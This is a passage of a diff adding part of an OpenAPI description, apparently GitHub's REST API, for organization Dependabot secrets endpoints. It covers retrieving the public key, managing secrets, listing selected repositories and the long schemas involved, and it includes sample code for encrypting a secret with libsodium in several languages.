+                "example": "<https://api.github.com/resource?page=2>; rel=\"next\", <https://api.github.com/resource?page=5>; rel=\"last\"",
+                "schema": {
+                  "type": "string"
+                }
+              }
+            }
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      }
+    },
+    "/orgs/{org}/dependabot/secrets/public-key": {
+      "get": {
+        "summary": "Get an organization public key",
+        "description": "Gets your public key, which you need to encrypt secrets. You need to encrypt a secret before you can create or update secrets. You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/get-org-public-key",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#get-an-organization-public-key"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "Response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "title": "DependabotPublicKey",
+                  "description": "The public key used for setting Dependabot Secrets.",
+                  "type": "object",
+                  "properties": {
+                    "key_id": {
+                      "description": "The identifier for the key.",
+                      "type": "string",
+                      "example": "1234567"
+                    },
+                    "key": {
+                      "description": "The Base64 encoded public key.",
+                      "type": "string",
+                      "example": "hBT5WZEj8ZoOv6TYJsfWq7MxTEQopZO5/IT3ZCVQPzs="
+                    }
+                  },
+                  "required": [
+                    "key_id",
+                    "key"
+                  ]
+                },
+                "examples": {
+                  "default": {
+                    "value": {
+                      "key_id": "012345678912345678",
+                      "key": "2Sg8iYjAxxmI2LvUXpJjkYrMxURPc8r+dB7TJyvv1234"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      }
+    },
+    "/orgs/{org}/dependabot/secrets/{secret_name}": {
+      "get": {
+        "summary": "Get an organization secret",
+        "description": "Gets a single organization secret without revealing its encrypted value. You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/get-org-secret",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#get-an-organization-secret"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "secret_name",
+            "description": "secret_name parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "Response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "title": "Dependabot Secret for an Organization",
+                  "description": "Secrets for GitHub Dependabot for an organization.",
+                  "type": "object",
+                  "properties": {
+                    "name": {
+                      "description": "The name of the secret.",
+                      "example": "SECRET_TOKEN",
+                      "type": "string"
+                    },
+                    "created_at": {
+                      "type": "string",
+                      "format": "date-time"
+                    },
+                    "updated_at": {
+                      "type": "string",
+                      "format": "date-time"
+                    },
+                    "visibility": {
+                      "description": "Visibility of a secret",
+                      "enum": [
+                        "all",
+                        "private",
+                        "selected"
+                      ],
+                      "type": "string"
+                    },
+                    "selected_repositories_url": {
+                      "type": "string",
+                      "format": "uri",
+                      "example": "https://api.github.com/organizations/org/dependabot/secrets/my_secret/repositories"
+                    }
+                  },
+                  "required": [
+                    "name",
+                    "created_at",
+                    "updated_at",
+                    "visibility"
+                  ]
+                },
+                "examples": {
+                  "default": {
+                    "value": {
+                      "name": "NPM_TOKEN",
+                      "created_at": "2019-08-10T14:59:22Z",
+                      "updated_at": "2020-01-10T14:59:22Z",
+                      "visibility": "selected",
+                      "selected_repositories_url": "https://api.github.com/orgs/octo-org/dependabot/secrets/NPM_TOKEN/repositories"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      },
+      "put": {
+        "summary": "Create or update an organization secret",
+        "description": "Creates or updates an organization secret with an encrypted value. Encrypt your secret using\n[LibSodium](https://libsodium.gitbook.io/doc/bindings_for_other_languages). You must authenticate using an access\ntoken with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization\npermission to use this endpoint.\n\n#### Example encrypting a secret using Node.js\n\nEncrypt your secret using the [tweetsodium](https://github.com/github/tweetsodium) library.\n\n```\nconst sodium = require('tweetsodium');\n\nconst key = \"base64-encoded-public-key\";\nconst value = \"plain-text-secret\";\n\n// Convert the message and key to Uint8Array's (Buffer implements that interface)\nconst messageBytes = Buffer.from(value);\nconst keyBytes = Buffer.from(key, 'base64');\n\n// Encrypt using LibSodium.\nconst encryptedBytes = sodium.seal(messageBytes, keyBytes);\n\n// Base64 the encrypted secret\nconst encrypted = Buffer.from(encryptedBytes).toString('base64');\n\nconsole.log(encrypted);\n```\n\n\n#### Example encrypting a secret using Python\n\nEncrypt your secret using [pynacl](https://pynacl.readthedocs.io/en/stable/public/#nacl-public-sealedbox) with Python 3.\n\n```\nfrom base64 import b64encode\nfrom nacl import encoding, public\n\ndef encrypt(public_key: str, secret_value: str) -> str:\n  \"\"\"Encrypt a Unicode string using the public key.\"\"\"\n  public_key = public.PublicKey(public_key.encode(\"utf-8\"), encoding.Base64Encoder())\n  sealed_box = public.SealedBox(public_key)\n  encrypted = sealed_box.encrypt(secret_value.encode(\"utf-8\"))\n  return b64encode(encrypted).decode(\"utf-8\")\n```\n\n#### Example encrypting a secret using C#\n\nEncrypt your secret using the [Sodium.Core](https://www.nuget.org/packages/Sodium.Core/) package.\n\n```\nvar secretValue = System.Text.Encoding.UTF8.GetBytes(\"mySecret\");\nvar publicKey = Convert.FromBase64String(\"2Sg8iYjAxxmI2LvUXpJjkYrMxURPc8r+dB7TJyvvcCU=\");\n\nvar sealedPublicKeyBox = Sodium.SealedPublicKeyBox.Create(secretValue, publicKey);\n\nConsole.WriteLine(Convert.ToBase64String(sealedPublicKeyBox));\n```\n\n#### Example encrypting a secret using Ruby\n\nEncrypt your secret using the [rbnacl](https://github.com/RubyCrypto/rbnacl) gem.\n\n```ruby\nrequire \"rbnacl\"\nrequire \"base64\"\n\nkey = Base64.decode64(\"+ZYvJDZMHUfBkJdyq5Zm9SKqeuBQ4sj+6sfjlH4CgG0=\")\npublic_key = RbNaCl::PublicKey.new(key)\n\nbox = RbNaCl::Boxes::Sealed.from_public_key(public_key)\nencrypted_secret = box.encrypt(\"my_secret\")\n\n# Print the base64 encoded secret\nputs Base64.strict_encode64(encrypted_secret)\n```",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/create-or-update-org-secret",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "secret_name",
+            "description": "secret_name parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "requestBody": {
+          "required": true,
+          "content": {
+            "application/json": {
+              "schema": {
+                "type": "object",
+                "properties": {
+                  "encrypted_value": {
+                    "type": "string",
+                    "description": "Value for your secret, encrypted with [LibSodium](https://libsodium.gitbook.io/doc/bindings_for_other_languages) using the public key retrieved from the [Get an organization public key](https://docs.github.com/rest/reference/dependabot#get-an-organization-public-key) endpoint.",
+                    "pattern": "^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{4})$"
+                  },
+                  "key_id": {
+                    "type": "string",
+                    "description": "ID of the key you used to encrypt the secret."
+                  },
+                  "visibility": {
+                    "type": "string",
+                    "description": "Configures the access that repositories have to the organization secret. Can be one of:  \n\\- `all` - All repositories in an organization can access the secret.  \n\\- `private` - Private repositories in an organization can access the secret.  \n\\- `selected` - Only specific repositories can access the secret.",
+                    "enum": [
+                      "all",
+                      "private",
+                      "selected"
+                    ]
+                  },
+                  "selected_repository_ids": {
+                    "type": "array",
+                    "description": "An array of repository ids that can access the organization secret. You can only provide a list of repository ids when the `visibility` is set to `selected`. You can manage the list of selected repositories using the [List selected repositories for an organization secret](https://docs.github.com/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret), [Set selected repositories for an organization secret](https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret), and [Remove selected repository from an organization secret](https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) endpoints.",
+                    "items": {
+                      "type": "string"
+                    }
+                  }
+                },
+                "required": [
+                  "visibility"
+                ]
+              },
+              "example": {
+                "encrypted_value": "c2VjcmV0",
+                "key_id": "012345678912345678",
+                "visibility": "selected",
+                "selected_repository_ids": [
+                  "1296269",
+                  "1296280"
+                ]
+              }
+            }
+          }
+        },
+        "responses": {
+          "201": {
+            "description": "Response when creating a secret",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "title": "Empty Object",
+                  "description": "An object without any properties.",
+                  "type": "object",
+                  "properties": {
+                  },
+                  "additionalProperties": false
+                }
+              }
+            }
+          },
+          "204": {
+            "description": "Response when updating a secret"
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      },
+      "delete": {
+        "summary": "Delete an organization secret",
+        "description": "Deletes a secret in an organization using the secret name. You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/delete-org-secret",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#delete-an-organization-secret"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "secret_name",
+            "description": "secret_name parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "204": {
+            "description": "Response"
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      }
+    },
+    "/orgs/{org}/dependabot/secrets/{secret_name}/repositories": {
+      "get": {
+        "summary": "List selected repositories for an organization secret",
+        "description": "Lists all repositories that have been selected when the `visibility` for repository access to a secret is set to `selected`. You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/list-selected-repos-for-org-secret",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "secret_name",
+            "description": "secret_name parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "page",
+            "description": "Page number of the results to fetch.",
+            "in": "query",
+            "schema": {
+              "type": "integer",
+              "default": 1
+            }
+          },
+          {
+            "name": "per_page",
+            "description": "Results per page (max 100)",
+            "in": "query",
+            "schema": {
+              "type": "integer",
+              "default": 30
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "Response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "required": [
+                    "total_count",
+                    "repositories"
+                  ],
+                  "properties": {
+                    "total_count": {
+                      "type": "integer"
+                    },
+                    "repositories": {
+                      "type": "array",
+                      "items": {
+                        "title": "Minimal Repository",
+                        "description": "Minimal Repository",
+                        "type": "object",
+                        "properties": {
+                          "id": {
+                            "type": "integer",
+                            "example": 1296269
+                          },
+                          "node_id": {
+                            "type": "string",
+                            "example": "MDEwOlJlcG9zaXRvcnkxMjk2MjY5"
+                          },
+                          "name": {
+                            "type": "string",
+                            "example": "Hello-World"
+                          },
+                          "full_name": {
+                            "type": "string",
+                            "example": "octocat/Hello-World"
+                          },
+                          "owner": {
+                            "title": "Simple User",
+                            "description": "Simple User",
+                            "type": "object",
+                            "properties": {
+                              "name": {
+                                "nullable": true,
+                                "type": "string"
+                              },
+                              "email": {
+                                "nullable": true,
+                                "type": "string"
+                              },
+                              "login": {
+                                "type": "string",
+                                "example": "octocat"
+                              },
+                              "id": {
+                                "type": "integer",
+                                "example": 1
+                              },
+                              "node_id": {
+                                "type": "string",
+                                "example": "MDQ6VXNlcjE="
+                              },
+                              "avatar_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://github.com/images/error/octocat_happy.gif"
+                              },
+                              "gravatar_id": {
+                                "type": "string",
+                                "example": "41d064eb2195891e12d0413f63227ea7",
+                                "nullable": true
+                              },
+                              "url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://api.github.com/users/octocat"
+                              },
+                              "html_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://github.com/octocat"
+                              },
+                              "followers_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://api.github.com/users/octocat/followers"
+                              },
+                              "following_url": {
+                                "type": "string",
+                                "example": "https://api.github.com/users/octocat/following{/other_user}"
+                              },
+                              "gists_url": {
+                                "type": "string",
+                                "example": "https://api.github.com/users/octocat/gists{/gist_id}"
+                              },
+                              "starred_url": {
+                                "type": "string",
+                                "example": "https://api.github.com/users/octocat/starred{/owner}{/repo}"
+                              },
+                              "subscriptions_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://api.github.com/users/octocat/subscriptions"
+                              },
+                              "organizations_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://api.github.com/users/octocat/orgs"
+                              },
+                              "repos_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://api.github.com/users/octocat/repos"
+                              },
+                              "events_url": {
+                                "type": "string",
+                                "example": "https://api.github.com/users/octocat/events{/privacy}"
+                              },
+                              "received_events_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://api.github.com/users/octocat/received_events"
+                              },
+                              "type": {
+                                "type": "string",
+                                "example": "User"
+                              },
+                              "site_admin": {
+                                "type": "boolean"
+                              },
+                              "starred_at": {
+                                "type": "string",
+                                "example": "\"2020-07-09T00:17:55Z\""
+                              }
+                            },
+                            "required": [
+                              "avatar_url",
+                              "events_url",
+                              "followers_url",
+                              "following_url",
+                              "gists_url",
+                              "gravatar_id",
+                              "html_url",
+                              "id",
+                              "node_id",
+                              "login",
+                              "organizations_url",
+                              "received_events_url",
+                              "repos_url",
+                              "site_admin",
+                              "starred_url",
+                              "subscriptions_url",
+                              "type",
+                              "url"
+                            ]
+                          },
+                          "private": {
+                            "type": "boolean"
+                          },
+                          "html_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "https://github.com/octocat/Hello-World"
+                          },
+                          "description": {
+                            "type": "string",
+                            "example": "This your first repo!",
+                            "nullable": true
+                          },
+                          "fork": {
+                            "type": "boolean"
+                          },
+                          "url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "https://api.github.com/repos/octocat/Hello-World"
+                          },
+                          "archive_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}"
+                          },
+                          "assignees_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/assignees{/user}"
+                          },
+                          "blobs_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}"
+                          },
+                          "branches_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/branches{/branch}"
+                          },
+                          "collaborators_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}"
+                          },
+                          "comments_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/comments{/number}"
+                          },
+                          "commits_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/commits{/sha}"
+                          },
+                          "compare_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}"
+                          },
+                          "contents_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/contents/{+path}"
+                          },
+                          "contributors_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/contributors"
+                          },
+                          "deployments_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/deployments"
+                          },
+                          "downloads_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/downloads"
+                          },
+                          "events_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/events"
+                          },
+                          "forks_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/forks"
+                          },
+                          "git_commits_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/git/commits{/sha}"
+                          },
+                          "git_refs_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/git/refs{/sha}"
+                          },
+                          "git_tags_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/git/tags{/sha}"
+                          },
+                          "git_url": {
+                            "type": "string"
+                          },
+                          "issue_comment_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/issues/comments{/number}"
+                          },
+                          "issue_events_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/issues/events{/number}"
+                          },
+                          "issues_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/issues{/number}"
+                          },
+                          "keys_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/keys{/key_id}"
+                          },
+                          "labels_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/labels{/name}"
+                          },
+                          "languages_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/languages"
+                          },
+                          "merges_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/merges"
+                          },
+                          "milestones_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/milestones{/number}"
+                          },
+                          "notifications_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}"
+                          },
+                          "pulls_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/pulls{/number}"
+                          },
+                          "releases_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/releases{/id}"
+                          },
+                          "ssh_url": {
+                            "type": "string"
+                          },
+                          "stargazers_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/stargazers"
+                          },
+                          "statuses_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/statuses/{sha}"
+                          },
+                          "subscribers_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/subscribers"
+                          },
+                          "subscription_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/subscription"
+                          },
+                          "tags_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/tags"
+                          },
+                          "teams_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/teams"
+                          },
+                          "trees_url": {
+                            "type": "string",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/git/trees{/sha}"
+                          },
+                          "clone_url": {
+                            "type": "string"
+                          },
+                          "mirror_url": {
+                            "type": "string",
+                            "nullable": true
+                          },
+                          "hooks_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "http://api.github.com/repos/octocat/Hello-World/hooks"
+                          },
+                          "svn_url": {
+                            "type": "string"
+                          },
+                          "homepage": {
+                            "type": "string",
+                            "nullable": true
+                          },
+                          "language": {
+                            "type": "string",
+                            "nullable": true
+                          },
+                          "forks_count": {
+                            "type": "integer"
+                          },
+                          "stargazers_count": {
+                            "type": "integer"
+                          },
+                          "watchers_count": {
+                            "type": "integer"
+                          },
+                          "size": {
+                            "type": "integer"
+                          },
+                          "default_branch": {
+                            "type": "string"
+                          },
+                          "open_issues_count": {
+                            "type": "integer"
+                          },
+                          "is_template": {
+                            "type": "boolean"
+                          },
+                          "topics": {
+                            "type": "array",
+                            "items": {
+                              "type": "string"
+                            }
+                          },
+                          "has_issues": {
+                            "type": "boolean"
+                          },
+                          "has_projects": {
+                            "type": "boolean"
+                          },
+                          "has_wiki": {
+                            "type": "boolean"
+                          },
+                          "has_pages": {
+                            "type": "boolean"
+                          },
+                          "has_downloads": {
+                            "type": "boolean"
+                          },
+                          "archived": {
+                            "type": "boolean"
+                          },
+                          "disabled": {
+                            "type": "boolean"
+                          },
+                          "visibility": {
+                            "type": "string"
+                          },
+                          "pushed_at": {
+                            "type": "string",
+                            "format": "date-time",
+                            "example": "2011-01-26T19:06:43Z",
+                            "nullable": true
+                          },
+                          "created_at": {
+                            "type": "string",
+                            "format": "date-time",
+                            "example": "2011-01-26T19:01:12Z",
+                            "nullable": true
+                          },
+                          "updated_at": {
+                            "type": "string",
+                            "format": "date-time",
+                            "example": "2011-01-26T19:14:43Z",
+                            "nullable": true
+                          },
+                          "permissions": {
+                            "type": "object",
+                            "properties": {
+                              "admin": {
+                                "type": "boolean"
+                              },
+                              "maintain": {
+                                "type": "boolean"
+                              },
+                              "push": {
+                                "type": "boolean"
+                              },
+                              "triage": {
+                                "type": "boolean"
+                              },
+                              "pull": {
+                                "type": "boolean"
+                              }
+                            }
+                          },
+                          "role_name": {
+                            "type": "string",
+                            "example": "admin"
+                          },
+                          "template_repository": {
+                            "title": "Repository",
+                            "description": "A git repository",
+                            "type": "object",
+                            "properties": {
+                              "id": {
+                                "description": "Unique identifier of the repository",
+                                "example": 42,
+                                "type": "integer"
+                              },
+                              "node_id": {
+                                "type": "string",
+                                "example": "MDEwOlJlcG9zaXRvcnkxMjk2MjY5"
+                              },
+                              "name": {
+                                "description": "The name of the repository.",
+                                "type": "string",
+                                "example": "Team Environment"
+                              },
+                              "full_name": {
+                                "type": "string",
+                                "example": "octocat/Hello-World"
+                              },
+                              "license": {
+                                "title": "License Simple",
+                                "description": "License Simple",
+                                "type": "object",
+                                "properties": {
+                                  "key": {
+                                    "type": "string",
+                                    "example": "mit"
+                                  },
+                                  "name": {
+                                    "type": "string",
+                                    "example": "MIT License"
+                                  },
+                                  "url": {
+                                    "type": "string",
+                                    "nullable": true,
+                                    "format": "uri",
+                                    "example": "https://api.github.com/licenses/mit"
+                                  },
+                                  "spdx_id": {
+                                    "type": "string",
+                                    "nullable": true,
+                                    "example": "MIT"
+                                  },
+                                  "node_id": {
+                                    "type": "string",
+                                    "example": "MDc6TGljZW5zZW1pdA=="
+                                  },
+                                  "html_url": {
+                                    "type": "string",
+                                    "format": "uri"
+                                  }
+                                },
+                                "required": [
+                                  "key",
+                                  "name",
+                                  "url",
+                                  "spdx_id",
+                                  "node_id"
+                                ],
+                                "nullable": true
+                              },
+                              "organization": {
+                                "title": "Simple User",
+                                "description": "Simple User",
+                                "type": "object",
+                                "properties": {
+                                  "name": {
+                                    "nullable": true,
+                                    "type": "string"
+                                  },
+                                  "email": {
+                                    "nullable": true,
+                                    "type": "string"
+                                  },
+                                  "login": {
+                                    "type": "string",
+                                    "example": "octocat"
+                                  },
+                                  "id": {
+                                    "type": "integer",
+                                    "example": 1
+                                  },
+                                  "node_id": {
+                                    "type": "string",
+                                    "example": "MDQ6VXNlcjE="
+                                  },
+                                  "avatar_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://github.com/images/error/octocat_happy.gif"
+                                  },
+                                  "gravatar_id": {
+                                    "type": "string",
+                                    "example": "41d064eb2195891e12d0413f63227ea7",
+                                    "nullable": true
+                                  },
+                                  "url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat"
+                                  },
+                                  "html_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://github.com/octocat"
+                                  },
+                                  "followers_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat/followers"
+                                  },
+                                  "following_url": {
+                                    "type": "string",
+                                    "example": "https://api.github.com/users/octocat/following{/other_user}"
+                                  },
+                                  "gists_url": {
+                                    "type": "string",
+                                    "example": "https://api.github.com/users/octocat/gists{/gist_id}"
+                                  },
+                                  "starred_url": {
+                                    "type": "string",
+                                    "example": "https://api.github.com/users/octocat/starred{/owner}{/repo}"
+                                  },
+                                  "subscriptions_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat/subscriptions"
+                                  },
+                                  "organizations_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat/orgs"
+                                  },
+                                  "repos_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat/repos"
+                                  },
+                                  "events_url": {
+                                    "type": "string",
+                                    "example": "https://api.github.com/users/octocat/events{/privacy}"
+                                  },
+                                  "received_events_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat/received_events"
+                                  },
+                                  "type": {
+                                    "type": "string",
+                                    "example": "User"
+                                  },
+                                  "site_admin": {
+                                    "type": "boolean"
+                                  },
+                                  "starred_at": {
+                                    "type": "string",
+                                    "example": "\"2020-07-09T00:17:55Z\""
+                                  }
+                                },
+                                "required": [
+                                  "avatar_url",
+                                  "events_url",
+                                  "followers_url",
+                                  "following_url",
+                                  "gists_url",
+                                  "gravatar_id",
+                                  "html_url",
+                                  "id",
+                                  "node_id",
+                                  "login",
+                                  "organizations_url",
+                                  "received_events_url",
+                                  "repos_url",
+                                  "site_admin",
+                                  "starred_url",
+                                  "subscriptions_url",
+                                  "type",
+                                  "url"
+                                ],
+                                "nullable": true
+                              },
+                              "forks": {
+                                "type": "integer"
+                              },
+                              "permissions": {
+                                "type": "object",
+                                "properties": {
+                                  "admin": {
+                                    "type": "boolean"
+                                  },
+                                  "pull": {
+                                    "type": "boolean"
+                                  },
+                                  "triage": {
+                                    "type": "boolean"
+                                  },
+                                  "push": {
+                                    "type": "boolean"
+                                  },
+                                  "maintain": {
+                                    "type": "boolean"
+                                  }
+                                },
+                                "required": [
+                                  "admin",
+                                  "pull",
+                                  "push"
+                                ]
+                              },
+                              "owner": {
+                                "title": "Simple User",
+                                "description": "Simple User",
+                                "type": "object",
+                                "properties": {
+                                  "name": {
+                                    "nullable": true,
+                                    "type": "string"
+                                  },
+                                  "email": {
+                                    "nullable": true,
+                                    "type": "string"
+                                  },
+                                  "login": {
+                                    "type": "string",
+                                    "example": "octocat"
+                                  },
+                                  "id": {
+                                    "type": "integer",
+                                    "example": 1
+                                  },
+                                  "node_id": {
+                                    "type": "string",
+                                    "example": "MDQ6VXNlcjE="
+                                  },
+                                  "avatar_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://github.com/images/error/octocat_happy.gif"
+                                  },
+                                  "gravatar_id": {
+                                    "type": "string",
+                                    "example": "41d064eb2195891e12d0413f63227ea7",
+                                    "nullable": true
+                                  },
+                                  "url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat"
+                                  },
+                                  "html_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://github.com/octocat"
+                                  },
+                                  "followers_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat/followers"
+                                  },
+                                  "following_url": {
+                                    "type": "string",
+                                    "example": "https://api.github.com/users/octocat/following{/other_user}"
+                                  },
+                                  "gists_url": {
+                                    "type": "string",
+                                    "example": "https://api.github.com/users/octocat/gists{/gist_id}"
+                                  },
+                                  "starred_url": {
+                                    "type": "string",
+                                    "example": "https://api.github.com/users/octocat/starred{/owner}{/repo}"
+                                  },
+                                  "subscriptions_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat/subscriptions"
+                                  },
+                                  "organizations_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat/orgs"
+                                  },
+                                  "repos_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat/repos"
+                                  },
+                                  "events_url": {
+                                    "type": "string",
+                                    "example": "https://api.github.com/users/octocat/events{/privacy}"
+                                  },
+                                  "received_events_url": {
+                                    "type": "string",
+                                    "format": "uri",
+                                    "example": "https://api.github.com/users/octocat/received_events"
+                                  },
+                                  "type": {
+                                    "type": "string",
+                                    "example": "User"
+                                  },
+                                  "site_admin": {
+                                    "type": "boolean"
+                                  },
+                                  "starred_at": {
+                                    "type": "string",
